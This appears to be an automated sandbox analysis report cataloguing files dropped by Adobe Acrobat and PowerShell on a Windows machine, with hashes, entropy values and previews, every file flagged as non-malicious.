Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3077276999404255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfYdPeUkwRe9:YvXKXifLT5LjIPGGnGg8Ukee9
MD5:	631CC0F512926E83D88CF429618AE10F
SHA1:	A08D2B313A1413C26A6E30368FF023DA68B250F7
SHA-256:	B1F44F6CA09C8FAE40CC01B5EC132A93841026D9DABC19854167251283CBCB06
SHA-512:	2F2FF57A451FB8452DEEB3F077D915820C1A67AC3A037EA355EA2272528A00D85121866BC7C9904A5D2D316DAA6C1631F8062BCE0AC943733DCB3E1348DB1F69
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.293914123818588
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJf+dPeUkwRe9:YvXKXifLT5LjIPGGnG28Ukee9
MD5:	29C76CE1584302E908447860782623BA
SHA1:	52DAD5C99B6D2D8569DD4C724C78BE16401CDAE1
SHA-256:	92E81D7B33F6AD76F1C31D2A3831761F74C332CCFD70F0B3DAD6342BF806E6D5
SHA-512:	7A9EC7A7E5C44BABB7A35A6B82F2AE82827562A5611603018D5396111BF0C125CD616636F534F12B39F00C687EDD0F9DFD17DA3688D239EFCBCA0E237CD68C7E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.291221686274494
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfbPtdPeUkwRe9:YvXKXifLT5LjIPGGnGDV8Ukee9
MD5:	51A6B3C5EDC506908F61E88F39887509
SHA1:	EEA5265BE482543D7A9982C7CB48D75CBF9694B3
SHA-256:	494BC5F1968DD36376198DB6278E422E8840F9F721D744BAD649EE6AD1A6655A
SHA-512:	8D5621CFB7C82AECC4B786AC8D6C59D2E876731F7101EC2AB94596DD1DD0FBFDB37F66F01DD3A25ADFD6B0D07622CDBBF2596055C7E845C6BC50C21758868689
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.283978234061159
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJf21rPeUkwRe9:YvXKXifLT5LjIPGGnG+16Ukee9
MD5:	C241AFFF3E7C34CACD4A2759770ACD47
SHA1:	E13DFFD2DCAA94043C6E9823CC1229395E86F8B6
SHA-256:	360B1904D5BA5181A21D7DD3D3A3CFFDA0982F94CA674B39D8E7185068C7756A
SHA-512:	B7E569E134AC607B65C0D60FC9AA754380B74A6A23E22A700C8CA1B8820EB9A7F1AC10DBEC6C14B71FD0ED1EF092EC2ED75C4A3E6311A4C5D1A71A062DC13B7B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662027552484258
Encrypted:	false
SSDEEP:	24:Yv6XqLT5XIeGYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSA:YvLBXTPBgkDMUJUAh8cvMA
MD5:	DF0FD78E12F15FC79AF579D3DD7AED2A
SHA1:	8B1B327F23263B828AE6D974CDA7C5E2182DC801
SHA-256:	E2113AAA85D54B04FB509C2745E2D4EA9A36FFC2B2516ADAC07960002D628393
SHA-512:	3967BCA0F837CC353D6A4CF29E952ADFB050E915BC8F2B79799423C2237EC09080088F3D3367929B1B9FFAF9DFDCD06821B9232939D5B8D39073B0E4B1AF2163
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.255302488575755
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJfshHHrPeUkwRe9:YvXKXifLT5LjIPGGnGUUUkee9
MD5:	C391DF5DDC73FFF904B807B47741A5CA
SHA1:	F99BA65BFA22AB8722A372986AC85AB944E7DD08
SHA-256:	37C9E5A3196C712882539400A644B4E7FFEF1F0C3E661F59338B4D1AEC6C0281
SHA-512:	5ADBC0996272497ED654D06A3FFE4B3DE446AF0F1B06C70E8F0DF4ED243FC1992BB9CA916373C64A097D5409DD2BA16F6D2B062F0536FFB389071D2D47C49EB8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.266547743700831
Encrypted:	false
SSDEEP:	6:YEQXJ2HXiNuaNWmSg1c2LjcWkHvR0YiGUoAvJTqgFCrPeUkwRe9:YvXKXifLT5LjIPGGnGTq16Ukee9
MD5:	C403FB311E86BE34B765614B6C16FD65
SHA1:	2488ADC9327B3C97565668C198E6CF71FEB764AD
SHA-256:	CA66822BE8B9390AB01AD7BD5E6BFACFA84E691A2A374A2B96A0FD3E227A2662
SHA-512:	9D9473B234DCB9B8CE4FB52AAC3DCEE8CDDFA9954CDA460966DA73DA7079C9AC382C778D36C51BC6D21A751F7871B881C6DA2F6B2F2E0F213686157737814AA5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cfda59ab-b343-466d-9ea6-ccda83bfd243","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736761092876,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142618119697194
Encrypted:	false
SSDEEP:	24:YGcuPCaVmay+6lIQVYHVAha4qj3Zsj0SqvLvbS2Btw2LSEC0HYdxflB5SQ9miNCs:YGNVQVY1B/p+K6mw+kdFLN9Zv
MD5:	7C8395709AD33D05E756200D03463527
SHA1:	9D374C0AB6B05CD6CE02D05CAFEE5783097E92F8
SHA-256:	A8366FDED4272949D3095658CE293F4D80E28AD53FB276116FC54BDAADAF0C02
SHA-512:	0AD525C7B21100BB4DFD77618F1E75B45B7CA122EA2DEBEC4390D05BA57D172BB5A69C632D6C46EE5E304DD2DAE63E04CE8EDE65064EC9E7D0DA997C800FF8F9
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"4714beb4aea6293dc9ad27df50a5d5b0","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736583266000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"0143c2cdeb57937bfd1ebceb0b22c440","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736583266000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"6ab924f3808cae943eaa6a4d0170219c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736583266000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"f79313d9dd0780222c759c19513aada8","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736583266000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"8f2f8d6977c178ac8823a9c1b750cbc9","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736583266000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"635b5670fa0b10a30f506dae4eb44316","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 26, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 26
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3671962909578528
Encrypted:	false
SSDEEP:	24:TLBx/XYKQvGJF7urs9S6bqyKn6ylSTofcNqDukXKdqEKfS8EKfM1bacF:Tll2GL7msMcKTlS8fcsuLfIw
MD5:	1DC729B8233618719F1FCA315E673A34
SHA1:	AD049B466CDD913D9F21B141C3E8AA395168AF7A
SHA-256:	CB3AC73E3630C8F44F19284D0C510DE8CC7C90625DB61276F2CADB13655DBBF8
SHA-512:	C85ED5F7CE35BC1B73979298A3EC2C9F322C97562F304D798741B43232B1A0BA562EB294AC542108EC1CEF970D725858CAA07514E35365FD875ABA6DB4BA54D0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.8403918231142804
Encrypted:	false
SSDEEP:	24:7+toZ6bqyKn6ylSTofcNqDuk+KdqEKfS8EKfM1banbqKqLKufx/XYKQvGJF7urs1:7MWcKTlS8fcsu+fIbqGufl2GL7ms1
MD5:	9D7DD2192574E589DC526A40C36B4F6E
SHA1:	461A0F47DCDE4581525D923A56C471CDA49ECEA3
SHA-256:	E406C1E190BA542D4F462C403F23C1459F92D81E8B46A779B6914346361F9029
SHA-512:	FC1322CB421A934A7E3C42FD5ECF80F7DE3F7A583F2A18F41903993EC2D792958AC6307CF7B7E62C6430B91EAEBD9BD8BCA245B7C94CF1A5CC9E72F68231AC81
Malicious:	false
Preview:	.... .c.......2...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.-.-.-.-.-.-.-.-.-.-.-........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEguoj3lzXm/4de32EO35CwgG76kYyu:6a6TZ44ADEuoj1zXm/seGEsNK
MD5:	97271666AAE5157DD862F050FF429FF3
SHA1:	D84A0E1A28E9C30479BA142416EBF73D3AFD6D49
SHA-256:	ED9E788D38C13C55FAF9694C97F8F74558448166DB52F10C21EF31578DB34932
SHA-512:	778C4C69D56E2C665B0952644F0052C5283CC6D91D3030AC9B6B6C5EFC26882A7181D0E7D921E8FCF7E4054279901F543AD1D34C6D583AD355BB7B0F0163F64F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIfd4c4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl+t:Qw946cPbiOxDlbYnuRKdht
MD5:	7BF456674664E5548952E5B871B6EFA9
SHA1:	16A44AEBCB6CC3424A6749E674AB66456134068A
SHA-256:	27640C5C9048D12378F0E8CA07F143562B4876743586EBA75A9728838EB2D7EE
SHA-512:	4FAB1F8C8BFDED336E4C927B18FF73CF6CF26B783B83E1102BC7C41BF09847845B662CF17C94EFF44CBF2AA9A61047EAC4687119005EC5920444EFA1F9029785
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.3.:.1.4.:.2.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kwlwdsbz.zvx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nja04lmj.4n1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 03-14-18-975.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.330589339471305
Encrypted:	false
SSDEEP:	384:usQfQQjZyDzISMjg0svDBjA49Y0/sQHpMVhrSWD0Wny6WxIWd44mJmtaEKHvMMwh:Ink
MD5:	5BC0A308794F062FEC40F3016568DF9F
SHA1:	14149448191AB45E99011CBBEF39F2A9A03A0D15
SHA-256:	00D910C49F2885F6810F4019A916EFA52F12881CBF1525853D0C184E1B796473
SHA-512:	CF12E0787C1C2A129BE61C4572CF8A28FC48039B2ADFD1816E58078D8DD900771442F210C545AD9B3F4EAEC23F6F1480F7BBF262B6A631160B20D0785BC17242
Malicious:	false
Preview:	SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:171+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=eddad23d-dbc6-40b3-ba9e-21a55d862f0a.1696497318171 Timestamp=2023-10-05T10:15:18:172+0100 ThreadID=7060 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15111
Entropy (8bit):	5.3562565445525685
Encrypted:	false
SSDEEP:	384:oFxcxBIwG0fnakDZDcsBt30tNiFIkP3xqRQ86iyNh+ylXnnTDc7kZ2ZIxpbex4IM:F/t
MD5:	087149F0FAA6EF142B49BB0A1CB81CB3
SHA1:	2079A3BFE56B3AE21B25B0AD4A930A8D49CD7168
SHA-256:	1C9AF865CB420D47EE0EB46F697564074A87DC85CBB9B07A427A1D3A02B4864C
SHA-512:	E57FEB486AEC5FE590794598A3E397C79C8E9F39EA21BD232C0A35307A39700A3DEE11F31A1CA1DB8525D93B815FA7BAA783A8F0A46BFCC8A5C0037745A69F92
Malicious:	false
Preview:	SessionID=7aac466d-af6f-49a5-9266-a21a310a5d7d.1736583258985 Timestamp=2025-01-11T03:14:18:985-0500 ThreadID=1592 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=7aac466d-af6f-49a5-9266-a21a310a5d7d.1736583258985 Timestamp=2025-01-11T03:14:18:986-0500 ThreadID=1592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=7aac466d-af6f-49a5-9266-a21a310a5d7d.1736583258985 Timestamp=2025-01-11T03:14:18:986-0500 ThreadID=1592 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=7aac466d-af6f-49a5-9266-a21a310a5d7d.1736583258985 Timestamp=2025-01-11T03:14:18:986-0500 ThreadID=1592 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=7aac466d-af6f-49a5-9266-a21a310a5d7d.1736583258985 Timestamp=2025-01-11T03:14:18:986-0500 ThreadID=1592 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3813215474255065
Encrypted:	false
SSDEEP:	192:icbENIn5cbqlcbgIpLcbJcb4I5jcbKcbQIrxcbm81sUFBcbARU3kIiYcb5:8qnXopZ50rw1sUFHRU3xiv
MD5:	DF6EE4B51482503AD28452A732FCA5A7
SHA1:	8CDF3C6123B2BCFF8E6664360895938B57BFC7B8
SHA-256:	842E7BFC390FA09D7A84FCA6EDC87975DACCE74C1E1156663596A56BFC794AA5
SHA-512:	C5C69152D70385D6561035CE190F00AFA44A3E44721D2DF708115716949EF1C2E6BD7F98275BAA45FF071EA2A22E15B8395D9042BCDFE21375EDE0B77BD96D6B
Malicious:	false
Preview:	05-10-2023 10:01:02:.---2---..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 10:01:02:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 10:01:02:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\16cc1985-bd27-4cf3-9d5f-94c2babeb85e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\3d9f334d-6fe4-4f53-a4e3-12879f5bd69c.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
